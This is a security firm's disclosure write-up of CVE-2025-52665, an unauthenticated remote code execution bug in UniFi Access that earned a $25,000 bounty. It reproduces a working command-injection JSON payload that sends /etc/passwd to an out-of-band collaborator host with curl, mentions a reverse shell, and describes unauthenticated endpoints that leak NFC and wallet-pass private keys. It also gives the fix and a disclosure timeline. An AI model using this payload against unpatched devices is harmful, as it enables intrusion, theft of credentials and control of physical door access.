top of page

CVE-2025-52665 - RCE in Unifi Access ($25,000)

  • Abdulaziz Alruwaybikh
  • 11 hours ago
  • 6 min read

Introduction

During a security assessment for one of our engagements, we identified a critical unauthenticated Remote Code Execution (RCE) vulnerability that originated from a misconfigured API endpoint that which was rewarded $25,000. This discovery was not isolated; it was part of a broader issue involving several unauthenticated APIs that lacked proper access controls and input validation.


In this write-up, we walk through the steps that led to the RCE, from initial reconnaissance to identifying the vulnerable endpoint and crafting a working exploit. Our process highlights how insecure design patterns across multiple unauthenticated APIs can ultimately lead to full system compromise, even without prior credentials or user interaction.'


Reconnaissance

During a client assessment, we began network reconnaissance on the target environment and identified a live host at 192.168.1.1. When we accessed this IP via browser, we were presented with the UniFi OS login interface, confirming that the device was running a UniFi-based system, specifically a UDM (UniFi Dream Machine SE) series router.

Login Interface
Login Interface

To investigate potential attack surfaces, we turned to community-reported issues surrounding backup operations and API behavior. We found multiple forum threads referencing failures related to the endpoint

/api/ucore/backup/export.

Searching for Errors and API paths in the community
Searching for Errors and API paths in the community

We observed that many users experienced 500 Internal Server Errors, ECONNREFUSED, and backup failures across multiple components (protect, network, uum, etc.). This strongly indicated that the backup system was modular, interfacing with various internal services via loopback APIs, and that /api/ucore/backup/export was commonly used across them.


This led us to ask:

If this endpoint is only accessible via 127.0.0.1, how could it be reached externally and exploited?


Discovery and Code Review


To understand the orchestration path, we pulled a UniFi Core release, unpacked it, and traced references to “backup/export” inside service.js. Two functions made the flow explicit. The first, YO, constructs a loopback URL to the export route and POSTs a JSON body containing a single field, dir:

var YO = async (e, t) => {

  let r = `http://127.0.0.1:${e}/api/ucore/backup/export`,

      o = await k(r, {  
        method: "POST",

        body: JSON.stringify({ dir: t }),

        headers: { "Content-Type": "application/json" }

      });

  if (!o.ok) throw new Error(`Request to ${r} failed, status: ${o.status}, text: ${await o.text()}`)

};

JavaScript Source code
JavaScript Source code

Here (e) is the port selected for the target application module (for example, Network, Access or Protect), and (t) is a directory path that originates from the caller. There is no validation at this boundary; the value of (dir) is serialized into the request that hits the internal export handler.


zf = async ({ port: e, outputDir: t, name: r }) => {
	try {
		let o = await bu(r);                      // validate version
		if (!o) throw new Error(...);             // halt if invalid
		...
		if (...) {
			// Backup handled by another device via API
			let i = await Te(n.mac).request({ type: "downloadBackup", name: r });
			let c = Qo.join(t, Ji);
			await _o.writeFile(c, i.body);
			await x({ cwd: t, file: c });         // decompress or move archive
		} else {
			await Fe(() => YO(e, t), ...);        // HERE: call the inner YO() function above
		}

		if (await Tu(t))                          // check if backup folder is empty
			throw new Error(`Backup directory for "${r}" is empty`);
		await J("chmod", ["-R", "775", t]);        // permission handling
		let s = await AEe(t);                      // call `du -s` to get backup size

		return { success: true, version: o, size: s };

	} catch (o) {
		return { success: false, err: _(o) };
	}
}

The second function,, zf, is the higher-level controller that decides whether to fetch a backup from another console or to trigger a local export by calling YO(port, outputDir). Before the call it ensures the output directory exists and its permissions with chmod 777, then, after the export returns, it verifies the directory is not empty, fixes permissions recursively, and measures the size with du -s. If anything fails along the way it logs the failure with the target application name and bubbles up the error message. In effect, zf feeds outputDir into YO, which then passes that same path to the export endpoint running on localhost.


Diagram Explaining the Process
Diagram Explaining the Process



After reviewing the JS code, we concluded that code execution is possible. The orchestrator accepts a dir value from an external request, forwards it unchanged to http://127.0.0.1:<appPort>/api/ucore/backup/export, and the export handler then builds shell comm ands that interpolate that value while creating the backup workspace (mktemp, chmod, tar). Because there is no validation or escaping on dir, the shell treats metacharacters inside it as new commands.


This clarified two important properties of the system. First, the sensitive backup operation is never meant to be exposed directly; it listens on 127.0.0.1:<appPort> and is supposed to be reachable only from the orchestrator. Second, the only input it cares about from the orchestrator is the dir parameter. With that in mind, we needed an externally reachable surface that could be coerced into making the same internal call.

Exploitation


After enumerating every open TCP port on 192.168.1.1, we ran a short loop to probe eachservice for the path /api/ucore/backup/export. Several listeners returned a straight 404, but port 9780 replied 405 Method Not Allowed. That response is only emitted when the route exists but the HTTP verb is wrong, which told us the handler was reachable from the network and would likely accept a POST if we matched the orchestrator’s request shape.


We switched to a proper POST with Content-Type: application/json and mirrored the JSON body we saw in service.js. Our first attempt used a minimal command-injection payload:

ree

{"dir":"/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://test.oastify.com/"}

No outbound hit arrived at the collaborator. The reason became clear once we considered how the export routine chains additional shell operations after using dir (mktemp, chmod, tar, du -s). Injecting a command with a trailing quote from the original command line can leave the shell in a syntactically invalid state. In other words, we had successfully broken out of the intended argument with ;, but the rest of the original command line was still being parsed after our curl, causing a parse or path error before the injected command could complete.


We adjusted the payload to both terminate our injected command cleanly and neutralize any trailing shell syntax by commenting it out:


ree

{
"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"
}

The trailing ; cleanly terminates our injected curl command, and the # comments out the remainder of the original line. That prevents the export script’s residual tokens from being parsed, avoiding syntax conflicts with its mktemp/chmod/tar pipeline. With this adjustment, the device issued an HTTP POST to our collaborator, and we received /etc/passwd, confirming command execution and data exfiltration. In addition, we attempted a standard

ree

reverse shell; the callback connected successfully, demonstrating full interactive access to the target system.

ree

The exploited RCE bridged into UniFi Access, providing access to door controls and NFC credential management, and enabling complete compromise of the system.

Other Findings Included


We validated these additional exposures by cross-referencing the UniFi Access API Reference (PDF) with the target’s own Swagger documentation, which was accessible on the device. The live schema made route enumeration straightforward and allowed us to craft valid requests that the proxy on :9780 accepted without authentication.


First, /api/v1/user_assets/nfc  responded to a POST with a JSON body containing provisioning fields (alias, asset_id, nfc_id, tokens). The service returned {"code":"CODE_SUCCESS"} directly over HTTP, confirming that the endpoint was reachable and processed our input without any session context or auth challenge.


ree

Unauthenticated Creation Access For Users


More critically, a simple GET to /api/v1/user_assets/touch_pass/keys returned a JSON structure with live credential material used by mobile/NFC access features, including Apple NFC express/secure key values, terminal type, TTL, and a google_pass_auth_key block that contained PEM-formatted private key data along with a version identifier. The response was delivered over the same externally reachable port and required no authentication.


Nfc Credentials
Nfc Credentials


Remediation


The issue was remediated by upgrading the environment to UniFi Access 4.0.21, which contains the vendor’s fix for the vulnerable backup workflow. You can see the release notes for this version of Unifi Access at the following: https://community.ui.com/releases/UniFi-Access-Application-4-0-21/f3b63db6-6e51-442e-b5a6-24b67fe82f44


Submission Process

  • Full credit: Catchify Security

  • Report submitted: 09 Oct 2025, 18:14 UTC

  • Status: Triaged by Ubiquiti on 09 Oct 2025, 19:40 UTC

  • Fix released: UniFi Access 4.0.21

  • Bounty awarded: $25,000 (maximum for non-Ubiquiti Cloud targets)

  • Disclosure: Vendor stated public advisory will include the CVE ID and full credit to Catchify Security

 
 
bottom of page